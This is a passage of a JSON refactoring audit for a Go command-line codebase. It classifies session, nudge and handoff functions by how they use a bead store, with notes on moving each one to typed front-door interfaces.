-   "sig": "func cmdSessionKill(args []string, stdout, stderr io.Writer, jsonOutput ...bool) int"
-  },
-  {
-   "file": "cmd_session.go",
-   "name": "cmdSessionSubmit",
-   "line": "2372",
-   "verdict": "ROOT",
-   "objops": "SESSION(resolveSessionIDMaterializingNamed materializes named-session bead; handle.Message submit)",
-   "other": "OPENS_STORE,BYID_RESOLVE",
-   "param": "store",
-   "callees": "resolveSessionIDMaterializingNamed,workerHandleForSessionWithConfig",
-   "notes": "Composition root: opens via openCityStore at L2398 (after API-fast-path). Store flows into resolveSessionIDMaterializingNamed (by-id/named resolution) and the worker handle (Message). No inline front-door mutate; raw store stays for BYID resolution + handle.",
-   "sig": "func cmdSessionSubmit(args []string, intent session.SubmitIntent, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_prime.go",
-   "name": "doPrimeWithHookFormat",
-   "line": "176",
-   "verdict": "ROOT",
-   "objops": "NUDGE(open nudge front-door store via openNudgeBeadStore for maybeStartNudgePoller),SESSION(withNudgeTargetFence reads session beads via raw .Store)",
-   "other": "OPENS_STORE,GENERIC_GET,RIG_STORES_MAP",
-   "param": "none(opens own stores)",
-   "callees": "maybeStartNudgePoller,withNudgeTargetFence",
-   "notes": "Composition root reached from newPrimeCmd.RunE. Resolves cityPath via resolveCity()+loadCityConfig (l198/207), opens the nudge-class store via openNudgeBeadStore(cityPath) (l291) and passes its raw .Store into withNudgeTargetFence which loadSessionBeads(store) (a session read in cmd_nudge.go). It also threads the openNudgeBeadStore(...).Store into the nudge poller target. This is the one place that should build nudgeFrontDoor/sessionFrontDoor once. Note: openNudgeBeadStore returns beads.NudgesStore; the .Store unwrap is only needed to feed the session-read fence \u2014 front-door split would give nudge store to the poller and a session front door to the fence.",
-   "sig": "func doPrimeWithHookFormat(args []string, stdout, stderr io.Writer, hookMode bool, hookFormat string, strictMode bool) int {"
-  },
-  {
-   "file": "cmd_prime.go",
-   "name": "primeHookSessionTemplate",
-   "line": "383",
-   "verdict": "ROOT",
-   "objops": "SESSION(store.Get(sessionID) then read .Metadata[\"template\"]/[\"common_name\"])",
-   "other": "OPENS_STORE,GENERIC_GET,BYID_RESOLVE",
-   "param": "store(local, opened via openCityStoreAt)",
-   "callees": "none",
-   "notes": "Opens its own store via openCityStoreAt(cityPath) (l388), then store.Get(sessionID) (l392) and reads sessionBead.Metadata[\"template\"] and [\"common_name\"]. This is a session by-id-then-read-metadata object op. Composition root because it opens the store itself from cityPath. Residual if converted to sessionFrontDoor: session.Info.Template is surfaced (could use sessionFrontDoor(store).Get(id).Template) but common_name is NOT a field on session.Info \u2014 so a raw metadata read for common_name would remain unless Info is extended. Treat as ROOT that should construct the session front door at the open site.",
-   "sig": "func primeHookSessionTemplate(cityPath string) string {"
-  },
-  {
-   "file": "cmd_prime.go",
-   "name": "persistPrimeHookProviderSessionKey",
-   "line": "535",
-   "verdict": "ROOT",
-   "objops": "SESSION(store.Get(gcSessionID) then read .Metadata[\"session_key\"] via sessionProviderFamily+existing check; sessionFrontDoor(store).SetMarker(gcSessionID,\"session_key\",...))",
-   "other": "OPENS_STORE,GENERIC_GET,BYID_RESOLVE",
-   "param": "store(local, opened via openCityStoreAt)",
-   "callees": "none",
-   "notes": "Resolves city via resolveCity() (l566) and opens its own store via openCityStoreAt(cityPath) (l571). store.Get(gcSessionID) (l576) loads the session bead; sessionProviderFamily(sessionBead) and sessionBead.Metadata[\"session_key\"] are read, then sessionFrontDoor(store).SetMarker(...) writes session_key (l588). Pure session object ops on a store it opens itself -> composition root that should build sessionFrontDoor once at the open site. SetMarker already goes through the front door; the residual raw uses are the Get-then-read (provider family + existing session_key guard) which session.Info surfaces as SessionKey but provider-family read still inspects raw metadata via sessionpkg.ProviderFamilyFromMetadata.",
-   "sig": "func persistPrimeHookProviderSessionKey(hookProviderSessionID string, stderr io.Writer) {"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "cmdNudgeDrainWithFormat",
-   "line": "391",
-   "verdict": "ROOT",
-   "objops": "NUDGE(claim/split/ack/recordFailure via openNudgeBeadStore), SESSION(stampLastNudgeDeliveredAt)",
-   "other": "OPENS_STORE,GENERIC_GET",
-   "param": "deliveryStore",
-   "callees": "splitQueuedNudgesForDelivery,recordQueuedNudgeFailureWithStore,stampLastNudgeDeliveredAt",
-   "notes": "Composition root: resolves target then deliveryStore:=openNudgeBeadStore(cityPath) (a beads.NudgesStore). Passes deliveryStore.Store (raw) to splitQueuedNudgesForDelivery (wait-bead get) and stampLastNudgeDeliveredAt (session SetMarker). Should construct the nudge front door + sessions front door once here and hand typed stores down.",
-   "sig": "func cmdNudgeDrainWithFormat(args []string, inject bool, hookFormat string, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "cmdNudgePoll",
-   "line": "583",
-   "verdict": "ROOT",
-   "objops": "NUDGE(deliver loop), SESSION(via tryDeliver->stamp)",
-   "other": "OPENS_STORE,FEDERATION",
-   "param": "store",
-   "callees": "tryDeliverQueuedNudgesByPoller,workerObserveNudgeTarget(via nudgeObserveTarget)",
-   "notes": "Composition root: store:=openNudgeBeadStore(cityPath) (beads.NudgesStore). Passes store.Store (raw) into nudgeObserveTarget and tryDeliverQueuedNudgesByPoller. The raw store is used downstream for observe/worker-handle (FEDERATION/BYID) plus nudge+session ops; construct front doors once here.",
-   "sig": "func cmdNudgePoll(args []string, sessionName string, interval, quiescence time.Duration, _ io.Writer, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "deliverSessionNudge",
-   "line": "692",
-   "verdict": "ROOT",
-   "objops": "NUDGE/SESSION(delegated)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "deliverSessionNudgeWithWorker",
-   "notes": "Composition root: store:=openNudgeBeadStore(target.cityPath); passes store.Store down. Front door could be constructed here.",
-   "sig": "func deliverSessionNudge(target nudgeTarget, message string, mode nudgeDeliveryMode, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "deliverSessionNudgeWithWorker",
-   "line": "701",
-   "verdict": "MIXED",
-   "objops": "SESSION(stampLastNudgeDeliveredAt? no \u2014 delegates), NUDGE(queueSessionNudgeWithWorker)",
-   "other": "FEDERATION,BYID_RESOLVE",
-   "param": "store",
-   "callees": "shouldQueueManagedNudgeWake,queueManagedSessionNudgeWake,queueSessionNudgeWithWorker,workerObserveNudgeTarget(nudgeObserveTarget),workerHandleForNudgeTarget",
-   "notes": "Passes raw store to observe/worker-handle (FEDERATION/BYID session resolution) and to nudge-queue/managed-wake helpers. Residual: keep raw store for worker observe/handle resolution; nudge/session ops happen inside callees. Itself does no direct front-door op.",
-   "sig": "func deliverSessionNudgeWithWorker(target nudgeTarget, store beads.Store, sp runtime.Provider, message string, mode nudgeDeliveryMode, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "shouldQueueManagedNudgeWake",
-   "line": "782",
-   "verdict": "MIXED",
-   "objops": "SESSION(observe managed session, canRequestManagedNudgeWake)",
-   "other": "FEDERATION",
-   "param": "store",
-   "callees": "canRequestManagedNudgeWake,workerObserveNudgeTarget(nudgeObserveTarget)",
-   "notes": "Uses store only for observe (worker-handle resolution, FEDERATION) and the managed-reconciler gate. Residual: keep raw store for observe. No direct front-door object op; pass-through.",
-   "sig": "func shouldQueueManagedNudgeWake(target nudgeTarget, store beads.Store, sp runtime.Provider) (bool, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "canRequestManagedNudgeWake",
-   "line": "812",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(nil-check gate only)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Only checks store!=nil as a managed-wake precondition; does not perform any object op. Pure nil/presence gate \u2014 no front door needed; keep as-is or drop param.",
-   "sig": "func canRequestManagedNudgeWake(target nudgeTarget, store beads.Store) bool"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "queueManagedSessionNudgeWake",
-   "line": "819",
-   "verdict": "MIXED",
-   "objops": "NUDGE(enqueue via enqueueManagedNudgeThenWake), SESSION(wake)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "enqueueManagedNudgeThenWake",
-   "notes": "Builds queued nudge then enqueueManagedNudgeThenWake(target, store, item). Store is class-mixed downstream (nudge enqueue + session wake by-id). Residual: keep raw store because the wake leg needs store.Get(sessionID)+WakeSession.",
-   "sig": "func queueManagedSessionNudgeWake(target nudgeTarget, store beads.Store, message string, mode nudgeDeliveryMode, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "enqueueManagedNudgeThenWake",
-   "line": "831",
-   "verdict": "MIXED",
-   "objops": "NUDGE(enqueueQueuedNudgeWithStore + rollbackQueuedNudge via beads.NudgesStore{Store:store}), SESSION(requestManagedNudgeWake)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "enqueueQueuedNudgeWithStore,rollbackQueuedNudge,requestManagedNudgeWake",
-   "notes": "Explicitly class-mixed (see in-body comment): wraps store into beads.NudgesStore for the nudge enqueue/rollback arms AND keeps the bare store for requestManagedNudgeWake (reads session bead + wakes). Residual: keep raw store for the session wake (store.Get + session.WakeSession); construct nudgeFrontDoor for the enqueue/rollback arms.",
-   "sig": "func enqueueManagedNudgeThenWake(target nudgeTarget, store beads.Store, item queuedNudge) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "requestManagedNudgeWake",
-   "line": "848",
-   "verdict": "MIXED",
-   "objops": "SESSION(store.Get(sessionID) + session.WakeSession(store,b,...))",
-   "other": "BYID_RESOLVE,GENERIC_GET",
-   "param": "store",
-   "callees": "(none; calls session.WakeSession with raw store)",
-   "notes": "Pure session object op but on the RAW store: store.Get(target.sessionID) then session.WakeSession(store, b, now). session.WakeSession takes beads.Store (mutates session bead + queues wait-withdraw nudges). Residual: by-id Get + WakeSession require the raw store \u2014 front door (session.InfoStore) does not expose WakeSession, so this keeps beads.Store. Could take sessions front door for the Get if/when InfoStore covers by-id session read, but WakeSession residual forces raw.",
-   "sig": "func requestManagedNudgeWake(target nudgeTarget, store beads.Store) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "workerHandleForNudgeTarget",
-   "line": "870",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(observe + by-id worker-handle resolution)",
-   "other": "FEDERATION,BYID_RESOLVE",
-   "param": "store",
-   "callees": "workerObserveSessionTargetWithConfig,workerHandleForSessionWithConfig,runtimeWorkerHandleWithConfig",
-   "notes": "Passes raw store to worker observe/handle resolution helpers (sessionID/name federation + by-id session lookup). No direct front-door object op; raw store is required for session resolution/worker-boundary construction. Stays on beads.Store by design (resolution residual).",
-   "sig": "func workerHandleForNudgeTarget(target nudgeTarget, store beads.Store, sp runtime.Provider) (worker.Handle, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "workerObserveNudgeTarget",
-   "line": "922",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "SESSION(observe session target)",
-   "other": "FEDERATION,BYID_RESOLVE",
-   "param": "store",
-   "callees": "workerObserveSessionTargetWithConfig",
-   "notes": "Passes raw store to workerObserveSessionTargetWithConfig for live-observation/resolution by name or sessionID. Resolution residual \u2014 keep beads.Store. (Reached as the nudgeObserveTarget seam.)",
-   "sig": "func workerObserveNudgeTarget(target nudgeTarget, store beads.Store, sp runtime.Provider) (worker.LiveObservation, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "queueSessionNudgeWithWorker",
-   "line": "986",
-   "verdict": "MIXED",
-   "objops": "NUDGE(enqueueQueuedNudge), SESSION(observe)",
-   "other": "FEDERATION",
-   "param": "store",
-   "callees": "workerObserveNudgeTarget(nudgeObserveTarget),maybeStartNudgePoller",
-   "notes": "Enqueues a nudge (via enqueueQueuedNudge, which opens its own NudgesStore from cityPath) and observes the target (raw store, FEDERATION). Residual: store is only passed to observe; the nudge enqueue path self-opens. Keep raw store for observe.",
-   "sig": "func queueSessionNudgeWithWorker(target nudgeTarget, store beads.Store, sp runtime.Provider, message string, mode nudgeDeliveryMode, jsonOutput bool, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "sendMailNotify",
-   "line": "1014",
-   "verdict": "ROOT",
-   "objops": "NUDGE/SESSION(delegated)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "sendMailNotifyWithWorker",
-   "notes": "Composition root: store:=openNudgeBeadStore(target.cityPath); passes store.Store down. Front doors constructible here.",
-   "sig": "func sendMailNotify(target nudgeTarget, sender string) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "sendMailNotifyWithWorker",
-   "line": "1026",
-   "verdict": "MIXED",
-   "objops": "SESSION(observe + stampLastNudgeDeliveredAt), NUDGE(enqueueManagedNudgeThenWake/enqueueQueuedNudge)",
-   "other": "FEDERATION,BYID_RESOLVE",
-   "param": "store",
-   "callees": "workerObserveNudgeTarget(nudgeObserveTarget),workerHandleForNudgeTarget,enqueueManagedNudgeThenWake,canRequestManagedNudgeWake,maybeStartNudgePoller,stampLastNudgeDeliveredAt",
-   "notes": "Observes/handles via raw store (FEDERATION/BYID), stamps last-nudge marker (SESSION front door op: stampLastNudgeDeliveredAt(store,...)), and enqueues mail nudges (NUDGE). Residual: keep raw store for observe/worker-handle resolution; sessions front door for the stamp; nudge front door for enqueue.",
-   "sig": "func sendMailNotifyWithWorker(target nudgeTarget, store beads.Store, sp runtime.Provider, sender string) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "resolveNudgeTarget",
-   "line": "1070",
-   "verdict": "ROOT",
-   "objops": "SESSION(resolveSessionIDMaterializingNamed + store.Get(sessionID) then read .Metadata)",
-   "other": "OPENS_STORE,BYID_RESOLVE,FEDERATION,GENERIC_GET",
-   "param": "store",
-   "callees": "resolveSessionIDMaterializingNamed,resolveNudgeTargetFromSessionBead",
-   "notes": "Composition root: store:=openNudgeBeadStore(cityPath); resolveSessionIDMaterializingNamed(...,store.Store,...) then store.Get(sessionID) and reads session bead metadata. By-id/federation resolution residual \u2014 raw store required. Front doors could be built once here for downstream handers.",
-   "sig": "func resolveNudgeTarget(identifier string, warningWriter ...io.Writer) (nudgeTarget, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "tryDeliverQueuedNudgesByPoller",
-   "line": "1192",
-   "verdict": "MIXED",
-   "objops": "NUDGE(claim/split/record/ack via beads.NudgesStore{Store:deliveryStore}), SESSION(stampLastNudgeDeliveredAt)",
-   "other": "OPENS_STORE,FEDERATION,BYID_RESOLVE",
-   "param": "store",
-   "callees": "workerHandleForNudgeTarget,splitQueuedNudgesForDelivery,recordQueuedNudgeFailureWithStore(beads.NudgesStore{Store:deliveryStore}),stampLastNudgeDeliveredAt",
-   "notes": "deliveryStore:=store or openNudgeBeadStore(cityPath).Store. Wraps deliveryStore into beads.NudgesStore{} for record-failure (NUDGE), passes raw to splitQueuedNudgesForDelivery (wait-bead get) and workerHandleForNudgeTarget (FEDERATION/BYID), and stampLastNudgeDeliveredAt (SESSION). Residual: raw store for observe/handle resolution + wait-bead get; nudge front door for record/ack; sessions front door for stamp.",
-   "sig": "func tryDeliverQueuedNudgesByPoller(target nudgeTarget, store beads.Store, sp runtime.Provider, quiescence time.Duration, obs worker.LiveObservation) (bool, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "stampLastNudgeDeliveredAt",
-   "line": "1275",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION(sessionFrontDoor(store).SetMarker(sessionID, MetadataLastNudgeDeliveredAt, ...))",
-   "other": "NONE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Uses store ONLY for sessionFrontDoor(store).SetMarker. Convert param to `sessions *session.InfoStore` and call sessions.SetMarker directly; no raw store residual.",
-   "sig": "func stampLastNudgeDeliveredAt(store beads.Store, sessionID string, t time.Time)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "withNudgeTargetFence",
-   "line": "1354",
-   "verdict": "MIXED",
-   "objops": "SESSION(loadSessionBeads(store) then read session bead metadata)",
-   "other": "GENERIC_GET,FEDERATION",
-   "param": "store",
-   "callees": "loadSessionBeads",
-   "notes": "Loads all open session beads (loadSessionBeads(store)) and reads session_name/continuation_epoch to fence the target. Session-list read on raw store. Residual: keep raw store (or a sessions front door that exposes ListOpen) \u2014 loadSessionBeads currently takes beads.Store. No nudge/order op.",
-   "sig": "func withNudgeTargetFence(store beads.Store, target nudgeTarget) nudgeTarget"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "splitQueuedNudgesForDelivery",
-   "line": "1411",
-   "verdict": "MIXED",
-   "objops": "SESSION(via blockedQueuedNudgeReason: store.Get(reference.ID) wait bead)",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "blockedQueuedNudgeReason",
-   "notes": "Only use of store is passing it to blockedQueuedNudgeReason, which does store.Get(item.Reference.ID) on a session-domain wait bead. Residual: by-id generic Get of a wait bead \u2014 no front-door equivalent, keep raw store. No nudge/order op of its own.",
-   "sig": "func splitQueuedNudgesForDelivery(store beads.Store, items []queuedNudge) ([]queuedNudge, map[string][]queuedNudge, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "blockedQueuedNudgeReason",
-   "line": "1431",
-   "verdict": "MIXED",
-   "objops": "SESSION(store.Get(item.Reference.ID) then session.IsWaitBead(wait) + read wait.Metadata[\"state\"])",
-   "other": "GENERIC_GET,BYID_RESOLVE",
-   "param": "store",
-   "callees": "(none)",
-   "notes": "Generic by-id Get of a session-domain wait bead, then reads its Metadata/state. Session-class read but via raw store.Get (no session.InfoStore API for arbitrary-id wait reads). Residual: keep raw store for the by-id wait-bead read.",
-   "sig": "func blockedQueuedNudgeReason(store beads.Store, item queuedNudge) (string, bool, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "rollbackQueuedNudge",
-   "line": "1737",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(markQueuedNudgeTerminal(store, ...))",
-   "other": "NONE",
-   "param": "store",
-   "callees": "markQueuedNudgeTerminal",
-   "notes": "Already takes beads.NudgesStore; only nudge op is markQueuedNudgeTerminal (nudge front-door Terminalize). Convert param to `*nudgequeue.Store` (the nudge front door) \u2014 no raw residual.",
-   "sig": "func rollbackQueuedNudge(cityPath string, store beads.NudgesStore, item queuedNudge, reason string) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "enqueueQueuedNudgeWithStore",
-   "line": "1784",
-   "verdict": "ROOT",
-   "objops": "NUDGE(ensureQueuedNudgeBead, markQueuedNudgeTerminal supersession, nudgeFrontDoor(store).RollbackEnqueue)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "ensureQueuedNudgeBead,markQueuedNudgeTerminal,nudgeFrontDoor",
-   "notes": "Takes beads.NudgesStore but self-opens (openNudgeBeadStore) when store.Store==nil; constructs nudgeFrontDoor(store) for RollbackEnqueue and uses prune/recover helpers. Composition-root-ish for the nudge front door; could take `*nudgequeue.Store` directly. All ops are NUDGE.",
-   "sig": "func enqueueQueuedNudgeWithStore(cityPath string, store beads.NudgesStore, item queuedNudge) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "recordQueuedNudgeFailureDetailed",
-   "line": "1983",
-   "verdict": "ROOT",
-   "objops": "NUDGE(recover/prune + markQueuedNudgeTerminal)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "recoverExpiredInFlightNudges,pruneExpiredQueuedNudges,pruneDeadQueuedNudges,markQueuedNudgeTerminal",
-   "notes": "Takes beads.NudgesStore, self-opens when nil; all object ops are NUDGE (prune/recover/terminalize via front door). Convert to `*nudgequeue.Store`. No session/order op.",
-   "sig": "func recordQueuedNudgeFailureDetailed(cityPath string, store beads.NudgesStore, ids []string, cause error, now time.Time) ([]queuedNudge, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "pruneExpiredQueuedNudges",
-   "line": "2094",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(markQueuedNudgeTerminal)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "markQueuedNudgeTerminal",
-   "notes": "Only nudge op (front-door Terminalize on expired items). Convert store param to `*nudgequeue.Store`.",
-   "sig": "func pruneExpiredQueuedNudges(state *nudgeQueueState, store beads.NudgesStore, now time.Time) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "recoverExpiredInFlightNudges",
-   "line": "2115",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(markQueuedNudgeTerminal on expired in-flight)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "markQueuedNudgeTerminal",
-   "notes": "Only nudge op. Convert store param to `*nudgequeue.Store`.",
-   "sig": "func recoverExpiredInFlightNudges(state *nudgeQueueState, store beads.NudgesStore, now time.Time) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "pruneDeadQueuedNudges",
-   "line": "2145",
-   "verdict": "NUDGE_ONLY",
-   "objops": "NUDGE(nudgeFrontDoor(store).FindIncludingTerminal + markQueuedNudgeTerminal)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "nudgeFrontDoor,markQueuedNudgeTerminal",
-   "notes": "Uses nudgeFrontDoor(store).FindIncludingTerminal and markQueuedNudgeTerminal; checks store.Store==nil for data-loss guard. All NUDGE. Convert store param to `*nudgequeue.Store`.",
-   "sig": "func pruneDeadQueuedNudges(state *nudgeQueueState, store beads.NudgesStore, now time.Time) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "claimDueQueuedNudgesMatching",
-   "line": "1625",
-   "verdict": "ROOT",
-   "objops": "NUDGE(recover/prune via openNudgeBeadStore)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "recoverExpiredInFlightNudges,pruneExpiredQueuedNudges,pruneDeadQueuedNudges",
-   "notes": "Opens store:=openNudgeBeadStore(cityPath) (beads.NudgesStore) and runs recover/prune (NUDGE). Composition root for the nudge front door over cityPath.",
-   "sig": "func claimDueQueuedNudgesMatching(cityPath string, now time.Time, match func(queuedNudge) bool) ([]queuedNudge, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "listQueuedNudges",
-   "line": "1661",
-   "verdict": "ROOT",
-   "objops": "NUDGE(recover/prune via openNudgeBeadStore)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "recoverExpiredInFlightNudges,pruneExpiredQueuedNudges,pruneDeadQueuedNudges",
-   "notes": "Opens its own NudgesStore from cityPath; runs recover/prune (NUDGE). Composition root.",
-   "sig": "func listQueuedNudges(cityPath, agentName string, now time.Time) ([]queuedNudge, []queuedNudge, []queuedNudge, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "listQueuedNudgesForTarget",
-   "line": "1697",
-   "verdict": "ROOT",
-   "objops": "NUDGE(recover/prune via openNudgeBeadStore)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "recoverExpiredInFlightNudges,pruneExpiredQueuedNudges,pruneDeadQueuedNudges",
-   "notes": "Opens its own NudgesStore from cityPath; runs recover/prune (NUDGE). Composition root.",
-   "sig": "func listQueuedNudgesForTarget(cityPath string, target nudgeTarget, now time.Time) ([]queuedNudge, []queuedNudge, []queuedNudge, error)"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "ackQueuedNudgesWithOutcome",
-   "line": "1881",
-   "verdict": "ROOT",
-   "objops": "NUDGE(recover/prune + markQueuedNudgeTerminal via openNudgeBeadStore)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "recoverExpiredInFlightNudges,pruneExpiredQueuedNudges,pruneDeadQueuedNudges,markQueuedNudgeTerminal",
-   "notes": "Opens its own NudgesStore from cityPath; terminalizes acked items (NUDGE). Composition root.",
-   "sig": "func ackQueuedNudgesWithOutcome(cityPath string, ids []string, outcome, reason, commitBoundary string) error"
-  },
-  {
-   "file": "cmd_nudge.go",
-   "name": "releaseQueuedNudgeClaims",
-   "line": "1930",
-   "verdict": "ROOT",
-   "objops": "NUDGE(recover/prune via openNudgeBeadStore)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "recoverExpiredInFlightNudges,pruneExpiredQueuedNudges,pruneDeadQueuedNudges",
-   "notes": "Opens its own NudgesStore from cityPath; runs recover/prune while moving in-flight back to pending (NUDGE). Composition root.",
-   "sig": "func releaseQueuedNudgeClaims(cityPath string, ids []string) error"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "sessionRestartPersister",
-   "line": "205",
-   "verdict": "MIXED",
-   "objops": "none-direct (passes store to worker boundary only)",
-   "other": "WORK_UPDATE,FEDERATION",
-   "param": "store",
-   "callees": "workerHandleForSessionTargetWithConfig",
-   "notes": "No direct session/order/nudge object op in body. Store is forwarded into workerHandleForSessionTargetWithConfig (worker-boundary Reset for restart persistence) \u2014 a WORK/worker-assignment + cityPath/federation resolve. Residual: keep raw store (or workAssignment facade) for the worker-handle call; nothing here touches a session front door directly. Conversion hinges on what the worker boundary itself takes; this function should stay on raw beads.Store.",
-   "sig": "func sessionRestartPersister(cityPath string, store beads.Store, sp runtime.Provider, cfg *config.City, target string) func() error"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "doHandoff",
-   "line": "225",
-   "verdict": "MIXED",
-   "objops": "(delegates)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "doHandoffWithOutcome",
-   "notes": "Thin testable wrapper; forwards store unchanged to doHandoffWithOutcome which performs the session ops + by-id resolve. Follows whatever doHandoffWithOutcome's converted signature becomes. Residual via callee: BYID_RESOLVE + GENERIC_GET (session restartability) \u2014 so raw store stays, plus session front door.",
-   "sig": "func doHandoff(store beads.Store, rec events.Recorder, dops drainOps, persistRestart func() error,\n\tsessionAddress, sessionName string, args []string, stdout, stderr io.Writer,\n) int"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "doHandoffWithOutcome",
-   "line": "231",
-   "verdict": "MIXED",
-   "objops": "SESSION:Get-status-read (via sessionRestartableByController), SESSION:ApplyPatch-clear (via clearRestartRequest)",
-   "other": "BYID_RESOLVE,GENERIC_GET",
-   "param": "store",
-   "callees": "createHandoffMail,sessionRestartableByController,clearRestartRequest",
-   "notes": "No direct front-door call in body, but forwards store into sessionRestartableByController (resolveSessionID + store.Get-then-read session bead) and clearRestartRequest (resolveSessionID + sessionFrontDoor ApplyPatch). dops.setRestartRequested and persistRestart() are runtime/worker ops, not store ops. createHandoffMail is a MAIL op (out of session/order/nudge scope). Residual: keep raw store for BYID_RESOLVE + GENERIC_GET; also needs session front door via the converted callees.",
-   "sig": "func doHandoffWithOutcome(store beads.Store, rec events.Recorder, dops drainOps, persistRestart func() error,\n\tsessionAddress, sessionName string, args []string, stdout, stderr io.Writer,\n) handoffOutcome"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "sessionRestartableByController",
-   "line": "335",
-   "verdict": "MIXED",
-   "objops": "SESSION:resolve-then-Get-status/metadata-read",
-   "other": "BYID_RESOLVE,GENERIC_GET",
-   "param": "store",
-   "callees": "resolveSessionID",
-   "notes": "resolveSessionID(store, sessionName) = BYID_RESOLVE; store.Get(id) then isNamedSessionBead/namedSessionMode read the bead Type/Metadata = the listed 'store.Get(sessionID) then reading .Status/.Metadata' SESSION object op. No mutation/front-door. Residual: this is essentially a by-id-resolve + raw read; it must keep the raw store (or move onto session.InfoStore Get-by-id if the front door exposes a typed read). Cannot become SESSION_ONLY because the resolve+Get is the by-id/federation path, not a front-door object mutation.",
-   "sig": "func sessionRestartableByController(store beads.Store, sessionName string) (bool, error)"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "clearRestartRequest",
-   "line": "356",
-   "verdict": "MIXED",
-   "objops": "SESSION:resolve-then-ApplyPatch(restart_requested/continuation_reset_pending)",
-   "other": "BYID_RESOLVE",
-   "param": "store",
-   "callees": "resolveSessionID",
-   "notes": "sessionFrontDoor(store).ApplyPatch(id, {...}) = SESSION object op (front door). resolveSessionID(store, sessionName) = BYID_RESOLVE residual. dops.clearRestartRequested is a runtime drain op, not a store op. Residual: keep raw store for resolveSessionID, AND take the session front door for ApplyPatch (could take sessions *session.InfoStore plus raw store, or InfoStore that wraps both resolve+patch).",
-   "sig": "func clearRestartRequest(store beads.Store, dops drainOps, sessionName string) error"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "doHandoffRemote",
-   "line": "388",
-   "verdict": "MIXED",
-   "objops": "SESSION:Get-status-read (via sessionRestartableByController), SESSION:ApplyPatch-clear (via clearRestartRequest), SESSION:resolve (resolveSessionID for event correlation)",
-   "other": "WORK_UPDATE,BYID_RESOLVE,GENERIC_GET,FEDERATION",
-   "param": "store",
-   "callees": "createHandoffMail,sessionRestartableByController,clearRestartRequest",
-   "notes": "Session ops via callees (sessionRestartableByController, clearRestartRequest). Plus heavy raw residual: workerSessionTargetRunningWithConfig + workerKillSessionTargetWithConfig (worker-boundary WORK/observe-kill probes taking raw store), sessionAgentMetricIdentityByName(store, sessionName) (resolveSessionID + store.Get, in session_name_lookup.go \u2014 not in this file), and resolveSessionID(store, sessionName) for SessionStopped correlation key. Residual: must keep raw store for worker-boundary kill/observe + by-id resolve; also needs the session front door for the clear-restart path.",
-   "sig": "func doHandoffRemote(store beads.Store, rec events.Recorder, sp runtime.Provider,\n\tsessionName, targetAddress, sender string, args []string, stdout, stderr io.Writer,\n) int"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "cmdHandoff",
-   "line": "131",
-   "verdict": "ROOT",
